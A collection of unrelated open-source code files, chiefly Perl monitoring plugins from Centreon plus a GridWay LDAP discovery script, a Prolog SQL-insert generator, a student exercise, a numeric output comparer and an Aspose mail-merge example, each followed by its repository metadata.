$self->{output}->perfdata_add(label => "meeting",
value => $result->{$oid_meetingUserCount},
warning => $self->{perfdata}->get_perfdata_for_output(label => 'warning_meeting'),
critical => $self->{perfdata}->get_perfdata_for_output(label => 'critical_meeting'),
min => 0);
$self->{output}->perfdata_add(label => "node",
value => $result->{$oid_iveConcurrentUsers},
warning => $self->{perfdata}->get_perfdata_for_output(label => 'warning_node'),
critical => $self->{perfdata}->get_perfdata_for_output(label => 'critical_node'),
min => 0);
$self->{output}->perfdata_add(label => "cluster",
value => $result->{$oid_clusterConcurrentUsers},
warning => $self->{perfdata}->get_perfdata_for_output(label => 'warning_cluster'),
critical => $self->{perfdata}->get_perfdata_for_output(label => 'critical_cluster'),
min => 0);
$self->{output}->display();
$self->{output}->exit();
}
1;
__END__
=head1 MODE
Check users connections (web users, cluster users, node users, meeting users) (JUNIPER-IVE-MIB).
=over 8
=item B<--warning-web>
Threshold warning for users connected and uses the web feature.
=item B<--critical-web>
Threshold critical for users connected and uses the web feature.
=item B<--warning-meeting>
Threshold warning for secure meeting users connected.
=item B<--critical-meeting>
Threshold critical for secure meeting users connected.
=item B<--warning-node>
Threshold warning for users in this node that are logged in.
=item B<--critical-node>
Threshold critical for users in this node that are logged in.
=item B<--warning-cluster>
Threshold warning for users in this cluster that are logged in.
=item B<--critical-cluster>
Threshold critical for users in this cluster that are logged in.
=back
=cut
| s-duret/centreon-plugins | network/juniper/common/ive/mode/users.pm | Perl | apache-2.0 | 9,985 |
#
# Copyright 2022 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
package database::mysql::mode::threadsconnected;
use base qw(centreon::plugins::templates::counter);
use strict;
use warnings;
sub custom_usage_output {
my ($self, %options) = @_;
return sprintf(
'Client connected threads total: %s used: %s (%.2f%%) free: %s (%.2f%%)',
$self->{result_values}->{total},
$self->{result_values}->{used},
$self->{result_values}->{prct_used},
$self->{result_values}->{free},
$self->{result_values}->{prct_free}
);
}
sub prefix_databse_output {
my ($self, %options) = @_;
return "Database '" . $options{instance_value}->{name} . "' ";
}
sub set_counters {
my ($self, %options) = @_;
$self->{maps_counters_type} = [
{ name => 'global', type => 0, message_separator => ' - ', skipped_code => { -10 => 1 } },
{ name => 'databases', type => 1, cb_prefix_output => 'prefix_database_output', skipped_code => { -10 => 1 } }
];
$self->{maps_counters}->{global} = [
{ label => 'usage', nlabel => 'threads.connected.count', set => {
key_values => [ { name => 'used' }, { name => 'free' }, { name => 'prct_used' }, { name => 'prct_free' }, { name => 'total' } ],
closure_custom_output => $self->can('custom_usage_output'),
perfdatas => [
{ template => '%d', min => 0, max => 'total' },
]
}
},
{ label => 'usage-prct', nlabel => 'threads.connected.percentage', display_ok => 0, set => {
key_values => [ { name => 'prct_used' }, { name => 'free' }, { name => 'used' }, { name => 'prct_free' }, { name => 'total' } ],
closure_custom_output => $self->can('custom_usage_output'),
perfdatas => [
{ template => '%.2f', min => 0, max => 100, unit => '%' }
]
}
}
];
$self->{maps_counters}->{databases} = [
{ label => 'database-threads-connected', nlabel => 'database.threads.connected.count', display_ok => 0, set => {
key_values => [ { name => 'threads_connected' } ],
output_template => 'threads connected: %s',
perfdatas => [
{ template => '%d', min => 0, label_extra_instance => 1 }
]
}
}
];
}
sub new {
my ($class, %options) = @_;
my $self = $class->SUPER::new(package => __PACKAGE__, %options, force_new_perfdata => 1);
bless $self, $class;
$options{options}->add_options(arguments => {
'add-databases' => { name => 'add_databases' }
});
return $self;
}
sub add_databases {
my ($self, %options) = @_;
$options{sql}->query(query => q{
SELECT
schema_name,
SUM(case when DB is not null then 1 else 0 end) as numbers
FROM information_schema.schemata LEFT JOIN information_schema.processlist ON schemata.schema_name = DB
GROUP BY schemata.schema_name
});
$self->{databases} = {};
my $result = $options{sql}->fetchall_arrayref();
foreach my $row (@$result) {
$self->{databases}->{ $row->[0] } = {
name => $row->[0],
threads_connected => $row->[1]
};
}
}
sub manage_selection {
my ($self, %options) = @_;
$options{sql}->connect();
if (!($options{sql}->is_version_minimum(version => '5'))) {
$self->{output}->add_option_msg(short_msg => "MySQL version '" . $self->{sql}->{version} . "' is not supported (need version >= '5.x').");
$self->{output}->option_exit();
}
my $infos = {};
if (!$options{sql}->is_mariadb() && $options{sql}->is_version_minimum(version => '5.7.6')) {
$options{sql}->query(query => q{
SELECT 'max_connections' as name, @@GLOBAL.max_connections as value
UNION
SELECT VARIABLE_NAME as name, VARIABLE_VALUE as value FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Threads_connected'
});
while (my ($name, $value) = $options{sql}->fetchrow_array()) {
$infos->{lc($name)} = $value;
}
} elsif ($options{sql}->is_version_minimum(version => '5.1.12')) {
$options{sql}->query(query => q{
SELECT 'max_connections' as name, @@GLOBAL.max_connections as value
UNION
SELECT VARIABLE_NAME as name, VARIABLE_VALUE as value FROM information_schema.GLOBAL_STATUS WHERE VARIABLE_NAME = 'Threads_connected'
});
while (my ($name, $value) = $options{sql}->fetchrow_array()) {
$infos->{lc($name)} = $value;
}
} else {
$options{sql}->query(query => q{SELECT 'max_connections' as name, @@GLOBAL.max_connections as value});
if (my ($name, $value) = $options{sql}->fetchrow_array()) {
$infos->{lc($name)} = $value
}
$options{sql}->query(query => q{SHOW /*!50000 global */ STATUS LIKE 'Threads_connected'});
if (my ($name, $value) = $options{sql}->fetchrow_array()) {
$infos->{lc($name)} = $value
}
}
if (scalar(keys %$infos) == 0) {
$self->{output}->add_option_msg(short_msg => 'Cannot get number of open connections.');
$self->{output}->option_exit();
}
my $prct_used = $infos->{threads_connected} * 100 / $infos->{max_connections};
$self->{global} = {
total => $infos->{max_connections},
used => $infos->{threads_connected},
free => $infos->{max_connections} - $infos->{threads_connected},
prct_used => $prct_used,
prct_free => 100 - $prct_used
};
if (defined($self->{option_results}->{add_databases})) {
$self->add_databases(sql => $options{sql});
}
}
1;
__END__
=head1 MODE
Check number of open connections.
=over 8
=item B<--add-databases>
Add threads by databases.
=item B<--warning-*> B<--critical-*>
Thresholds.
Can be: 'usage', 'usage-prct' (%), 'database-threads-connected'.
=back
=cut
| centreon/centreon-plugins | database/mysql/mode/threadsconnected.pm | Perl | apache-2.0 | 6,784 |
#
# Copyright 2022 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
package storage::lenovo::iomega::snmp::plugin;
use strict;
use warnings;
use base qw(centreon::plugins::script_snmp);
sub new {
my ($class, %options) = @_;
my $self = $class->SUPER::new(package => __PACKAGE__, %options);
bless $self, $class;
$self->{version} = '1.0';
$self->{modes} = {
'cpu' => 'snmp_standard::mode::cpu',
'hardware' => 'storage::lenovo::iomega::snmp::mode::hardware',
'interfaces' => 'storage::lenovo::iomega::snmp::mode::interfaces',
'list-interfaces' => 'snmp_standard::mode::listinterfaces',
'list-storages' => 'snmp_standard::mode::liststorages',
'memory' => 'storage::lenovo::iomega::snmp::mode::memory',
'storage' => 'snmp_standard::mode::storage'
};
return $self;
}
1;
__END__
=head1 PLUGIN DESCRIPTION
Check Lenovo Nas Iomega (ix2) in SNMP.
=cut
| centreon/centreon-plugins | storage/lenovo/iomega/snmp/plugin.pm | Perl | apache-2.0 | 1,669 |
#!/usr/bin/perl
# --------------------------------------------------------------------------
# Copyright 2002-2009 GridWay Team, Distributed Systems Architecture
# Group, Universidad Complutense de Madrid
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# --------------------------------------------------------------------------
use Net::LDAP;
###########
# Discovery
###########
sub dynamic_discover
{
# Arg1 = BDII
# Arg2 = QUEUEFILTER
# Arg3 = TMPFILE
my($bdii, $QUEUEFILTER, $TMPFILE) = @_;
open(TMPFILE,">$TMPFILE");
$ldap = Net::LDAP->new( "$bdii:2170" ) or print TMPFILE "DISCOVER - FAILURE $@\n";
$mesg = $ldap->bind ; # an anonymous bind
$mesg = $ldap->search( # perform a search
base => "mds-vo-name=local,o=grid",
filter => "(&(objectclass=GlueCE)$QUEUEFILTER)"
);
my $max = $mesg->count;
for($i = 0 ; $i < $max ; $i++)
{
my $entry = $mesg->entry($i);
foreach my $attr ($entry->attributes)
{
my $value = $entry->get_value($attr);
if ($attr eq "GlueCEUniqueID")
{
($host,$trash) = split (":",$value);
push (@hosts,$host);
}
}
}
print TMPFILE "DISCOVER - SUCCESS @hosts\n";
close(TMPFILE);
$mesg = $ldap->unbind;
}
###########
# Monitor
###########
sub dynamic_monitor
{
# Arg1 = BDII
# Arg2 = MID
# Arg3 = HOST
# Arg4 = QUEUEFILTER
# Arg5 = TMPFILE
my ($bdii, $mid, $host, $QUEUEFILTER, $TMPFILE) = @_;
open(TMPFILE,">$TMPFILE");
$ldap = Net::LDAP->new( "$bdii:2170" ) or print TMPFILE "DISCOVER - FAILURE $@\n";
$mesg = $ldap->bind ; # an anonymous bind
# First search
$mesg = $ldap->search( # perform a search
base => "mds-vo-name=local,o=grid",
filter => "(&(objectclass=GlueCE)(GlueCEInfoHostName=$host)$QUEUEFILTER)"
);
my $max = $mesg->count;
# Default values
$info = "";
$queue_nodecount = 0;
$queue_freenodecount = 0;
$queue_maxtime = 0;
$queue_maxcputime = 0;
$queue_maxcount = 0;
$queue_maxrunningjobs = 0;
$queue_maxjobsinqueue = 0;
for($i = 0 ; $i < $max ; $i++)
{
my $entry = $mesg->entry($i);
foreach my $attr ($entry->attributes)
{
my $value = $entry->get_value($attr);
if ($attr eq "GlueCEInfoTotalCPUs")
{
$nodecount = $value;
$queue_nodecount = $value;
}
elsif ($attr eq "GlueCEUniqueID")
{
($trash,$lrms_name) = split ("/",$value);
($lrms_name1,$lrms_name2,$trash) = split ("-",$lrms_name);
$lrms_name = $lrms_name1 . "-" . $lrms_name2;
}
elsif ($attr eq "GlueCEInfoLRMSType")
{
$lrms_type = $value;
}
elsif ($attr eq "GlueCEName")
{
$queue_name = $value;
}
elsif ($attr eq "GlueCEStateFreeCPUs")
{
$queue_freenodecount = $value;
}
elsif ($attr eq "GlueCEPolicyMaxWallClockTime")
{
$queue_maxtime = $value;
}
elsif ($attr eq "GlueCEPolicyMaxCPUTime")
{
$queue_maxcputime = $value;
}
elsif ($attr eq "GlueCEPolicyMaxTotalJobs")
{
$queue_maxjobsinqueue = $value;
}
elsif ($attr eq "GlueCEPolicyMaxRunningJobs")
{
$queue_maxrunningjobs = $value;
}
elsif ($attr eq "GlueCEStateStatus")
{
$queue_status = $value;
}
elsif ($attr eq "GlueCEPolicyPriority")
{
$queue_priority = $value;
}
elsif ($attr eq "GlueCEStateWaitingJobs")
{
$queue_jobwait = $value;
}
elsif ($attr eq "GlueCEAccessControlBaseRule")
{
my @values = $entry->get_value($attr);
$queue_access = "";
foreach $value(@values)
{
($trash,$value) = split (":",$value);
$queue_access = "$queue_access:$value:";
}
}
}
$info = $info . "QUEUE_NAME[$i]=\"$queue_name\" QUEUE_NODECOUNT[$i]=$queue_nodecount QUEUE_FREENODECOUNT[$i]=$queue_freenodecount QUEUE_MAXTIME[$i]=$queue_maxtime QUEUE_MAXCPUTIME[$i]=$queue_maxcputime QUEUE_MAXJOBSINQUEUE[$i]=$queue_maxjobsinqueue QUEUE_MAXRUNNINGJOBS[$i]=$queue_maxrunningjobs QUEUE_STATUS[$i]=\"$queue_status\" QUEUE_DISPATCHTYPE[$i]=\"batch\" QUEUE_PRIORITY[$i]=\"$queue_priority\" QUEUE_JOBWAIT[$i]=\"$queue_jobwait\" QUEUE_ACCESS[$i]=\"$queue_access\" ";
}
# Second search
$mesg = $ldap->search( # perform a search
base => "mds-vo-name=local,o=grid",
filter => "(&(objectclass=GlueHostOperatingSystem)(GlueSubClusterName=$host))"
);
$max = $mesg->count;
for($i = 0 ; $i < $max ; $i++)
{
my $entry = $mesg->entry($i);
foreach my $attr ($entry->attributes)
{
my $value = $entry->get_value($attr);
if ($attr eq "GlueHostOperatingSystemName")
{
$os_name = $value;
}
elsif ($attr eq "GlueHostOperatingSystemVersion")
{
$os_version = $value;
}
elsif ($attr eq "GlueHostProcessorModel")
{
$cpu_model = $value;
}
elsif ($attr eq "GlueHostProcessorClockSpeed")
{
$cpu_mhz = $value;
}
elsif ($attr eq "GlueHostArchitectureSMPSize")
{
$cpu_smp = $value;
}
elsif ($attr eq "GlueHostMainMemoryRAMSize")
{
$free_mem_mb = $value;
$size_mem_mb = $value;
}
}
}
$info = "HOSTNAME=\"$host\" ARCH=\"i686\" NODECOUNT=$nodecount LRMS_NAME=\"$lrms_name\" LRMS_TYPE=\"$lrms_type\" OS_NAME=\"$os_name\" OS_VERSION=\"$os_version\" CPU_MODEL=\"$cpu_model\" CPU_MHZ=$cpu_mhz CPU_SMP=$cpu_smp FREE_MEM_MB=$free_mem_mb SIZE_MEM_MB=$size_mem_mb " . $info . "\n";
$mesg = $ldap->unbind;
print TMPFILE "MONITOR $mid SUCCESS $info";
close (TMPFILE);
}
###########
# Main
###########
# Read Arguments
$action = $ARGV[0];
if ($action eq "DISCOVER")
{
# Arg1 = BDII
# Arg2 = QUEUEFILTER
# Arg3 = TMPFILE
&dynamic_discover($ARGV[1],$ARGV[2],$ARGV[3]);
}
elsif ($action eq "MONITOR")
{
# Arg1 = BDII
# Arg2 = MID
# Arg3 = HOST
# Arg4 = QUEUEFILTER
# Arg5 = TMPFILE
&dynamic_monitor($ARGV[1],$ARGV[2],$ARGV[3],$ARGV[4],$ARGV[5]);
}
else
{
die "ERROR: MAD invoked incorrectly\n";
}
| oldpatricka/Gridway | src/im_mad/gw_im_mad_egee_ldap.pl | Perl | apache-2.0 | 6,237 |
:- module(pl2sqlinsert,[pl2sqlInsert/2]).
:- include(library(assertions)).
:- use_module(library(lists),[append/3]).
:- multifile [sql__relation/3,sql__attribute/4].
:- data [sql__relation/3,sql__attribute/4].
pl2sqlInsert(ConstantTuple,SQLInsertString):-
ConstantTuple=..[PredName|AttrValues],
constants_list(AttrValues,AttrValues),
%% all elements must be constant to be inserted
sql__relation(PredName,_Arity,TableName),
attributes_list(TableName,AList),
sqlInsertString(TableName,AList,AttrValues,SQLInsertString).
sqlInsertString(TableName,AttrList,AttrValues,InsertString) :-
atom_codes(TableName,TableString),
stringsList2stringEnumeration(AttrList,AttributesString),
betweenBrackets(AttributesString,AttributesTuple),
append(TableString," ",TabStrSp),
append(TabStrSp,AttributesTuple,StringAfterInto),
append("INSERT INTO ",StringAfterInto,IntoString),
valuesList2stringEnumeration(AttrValues,StringAfterValues),
betweenBrackets(StringAfterValues,ValuesTuple),
append(ValuesTuple,";",ValStr), %% SQL sentence ended by ';'
append(" VALUES ",ValStr,ValuesString),
append(IntoString,ValuesString,InsertString).
stringsList2stringEnumeration([],"").
stringsList2stringEnumeration([Str],Str):-
!.
stringsList2stringEnumeration([Str1|Rest],NewStr):-
stringsList2stringEnumeration(Rest,Str),
append(Str1,",",Str_Comma),
append(Str_Comma,Str,NewStr).
valuesList2stringEnumeration([],"").
valuesList2stringEnumeration([Value],String):-
number(Value),
!,
number_codes(Value,String).
valuesList2stringEnumeration([Value],String):-
atom(Value),
!,
atom_codes(Value,StringValue),
betweenApostrophes(StringValue,String).
valuesList2stringEnumeration([Val1|Rest],NewStr):-
valuesList2stringEnumeration([Val1],Str1),
append(Str1,",",Str1_Comma),
valuesList2stringEnumeration(Rest,Str),
append(Str1_Comma,Str,NewStr).
betweenBrackets(Str,BrackStr):-
% append("(",Str,OpenStr),
append([0'(|Str],")",BrackStr).
betweenApostrophes(Str,ApStr):-
replaceEscapeSeqs(Str,Str0),
% append("'",Str0,Str1),
append([0''|Str0],"'",ApStr).
replaceEscapeSeqs([],[]).
replaceEscapeSeqs([0'\\,0''|Xs],[0'\\,0''|Ys]):- % Do not escape it if it is
replaceEscapeSeqs(Xs,Ys), !. % already escaped.
replaceEscapeSeqs([0'\\,0'"|Xs],[0'\\,0'"|Ys]):- % Do not escape it if it is
replaceEscapeSeqs(Xs,Ys), !. % already escaped.
replaceEscapeSeqs([0'\\,0'\\|Xs],[0'\\,0'\\|Ys]):- % Do not escape it if it is
replaceEscapeSeqs(Xs,Ys), !. % already escaped.
replaceEscapeSeqs([0''|Xs],[0'\\,0''|Ys]):-
replaceEscapeSeqs(Xs,Ys), !.
replaceEscapeSeqs([0'"|Xs],[0'\\,0'"|Ys]):-
replaceEscapeSeqs(Xs,Ys), !.
replaceEscapeSeqs([0'\\|Xs],[0'\\,0'\\|Ys]):-
replaceEscapeSeqs(Xs,Ys), !.
replaceEscapeSeqs([X|Xs],[X|Ys]):-
replaceEscapeSeqs(Xs,Ys).
constants_list([],[]).
constants_list([Head|Tail],[Head|CLTail]):-
%% atom(Head),!,
nonvar(Head),!,
constants_list(Tail,CLTail).
constants_list([_Head|Tail],CLTail):-
constants_list(Tail,CLTail).
attributes_list(TableName,[]):-
sql__relation(_PredName,0,TableName),!.
attributes_list(TableName,List):-
sql__relation(_PredName,Arity,TableName), %% Arity is >0
attrs_list(TableName,0,Arity,List).
attrs_list(_TableName,Arity,Arity,[]):-
!.
attrs_list(TableName,Location,Arity,[AttStringName|List]) :-
LocationPlus1 is Location+1,
sql__attribute(LocationPlus1,TableName,AttName,_AttType),
atom_codes(AttName,AttStringName),
attrs_list(TableName,LocationPlus1,Arity,List).
| leuschel/ecce | www/CiaoDE/ciao/library/persdb_sql_common/pl2sqlinsert.pl | Perl | apache-2.0 | 3,475 |
#write a program that randomly chooses one of four nucleotides (ATCG)
#and then keeps prompting the user until you guess the correct one.
#doesn't need to be a subroutine.
#
print "S. Barclay\n";
print "BIFS617 Week 8 Conference 1\n\n";
#
#Randomly generate nucleotide
@nucleotide = ('A','T','C','G');
$base=$nucleotide[rand @nucleotide];
print "\nPick your poison: A, T, C, or G?\n";
$answer=<STDIN>;
chomp $answer;
while ($answer ne $base) {print "We're out of that particluar brew, matey. What else can I get you?\n";
$answer=<STDIN>; chomp $answer};
print "Arrgh! $answer it is!\n"; | VxGB111/Perl-Programming-Homework | Week8conference1.pl | Perl | bsd-2-clause | 612 |
#!/usr/bin/perl
#
# Copyright (C) 2006, 2007 Sony Computer Entertainment Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms,
# with or without modification, are permitted provided that the
# following conditions are met:
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# * Neither the name of the Sony Computer Entertainment Inc nor the names
# of its contributors may be used to endorse or promote products derived
# from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
$file1 = $ARGV[0];
$file2 = $ARGV[1];
if (!open(FILE1, "<$file1"))
{
print "Couldn't open $file1\n";
exit;
}
if (!open(FILE2, "<$file2"))
{
print "Couldn't open $file2\n";
exit;
}
print "Comparing $file1 $file2\n";
$lineno1 = 0;
$lineno2 = 0;
while(($line1 = <FILE1>) && ($line2 = <FILE2>))
{
$lineno1++;
$lineno2++;
if ( $line1 =~ m/\:$/ )
{
$line1 = <FILE1>;
$lineno1++;
}
if ( $line2 =~ m/\:$/ )
{
$line2 = <FILE2>;
$lineno2++;
}
$line1 =~ s/^.*\: //g;
$line2 =~ s/^.*\: //g;
@words1 = split(/ /,$line1);
@words2 = split(/ /,$line2);
for ($i = 0; $i < @words1; $i++)
{
$word1 = $words1[$i];
$word2 = $words2[$i];
$word1 =~ s/\s//g;
$word2 =~ s/\s//g;
if ( $word1 ne $word2 )
{
$error = abs($word1 - $word2);
$limit = abs(1e-4 * $word1);
if ( $error > $limit && !( abs($word1) < 1e-4 && $error < 1e-4 ) )
{
print "$lineno1: $word1 $lineno2: $word2\n";
}
}
}
}
| xissburg/XDefrac | bullet-2.78/Extras/vectormathlibrary/tests/compare.pl | Perl | mit | 2,815 |
#ExStart:1
use lib 'lib';
use strict;
use warnings;
use utf8;
use File::Slurp; # From CPAN
use JSON;
use AsposeStorageCloud::StorageApi;
use AsposeStorageCloud::ApiClient;
use AsposeStorageCloud::Configuration;
use AsposeWordsCloud::WordsApi;
use AsposeWordsCloud::ApiClient;
use AsposeWordsCloud::Configuration;
my $configFile = '../Config/config.json';
my $configPropsText = read_file($configFile);
my $configProps = decode_json($configPropsText);
my $data_path = '../../../Data/';
my $out_path = $configProps->{'out_folder'};
$AsposeWordsCloud::Configuration::app_sid = $configProps->{'app_sid'};
$AsposeWordsCloud::Configuration::api_key = $configProps->{'api_key'};
$AsposeWordsCloud::Configuration::debug = 1;
$AsposeStorageCloud::Configuration::app_sid = $configProps->{'app_sid'};
$AsposeStorageCloud::Configuration::api_key = $configProps->{'api_key'};
# Instantiate Aspose.Storage and Aspose.Words API SDK
my $storageApi = AsposeStorageCloud::StorageApi->new();
my $wordsApi = AsposeWordsCloud::WordsApi->new();
# Set input file name
my $name = 'SampleInvoiceTemplate.doc';
my $filedataname = "SampleInvoiceTemplateData.txt";
my $destfilename = "updated-" . $name;
# Upload file to aspose cloud storage
my $response = $storageApi->PutCreate(Path => $name, file => $data_path.$name);
# Invoke Aspose.Words Cloud SDK API to execute mail merge and populate a word document from XML data
$response = $wordsApi->PostDocumentExecuteMailMerge(name=> $name, file=>$data_path.$filedataname, withRegions=>'True');
if($response->{'Status'} eq 'OK'){
print "\nmail merge template has been executed successfully.";
# Download updated document from storage server
$response = $storageApi->GetDownload(Path => $destfilename);
my $output_file = $out_path. $destfilename;
write_file($output_file, { binmode => ":raw" }, $response->{'Content'});
}
#ExEnd:1 | aspose-words/Aspose.Words-for-Cloud | Examples/Perl/Mail-Merge/ExecuteWithRegions.pl | Perl | mit | 1,871 |
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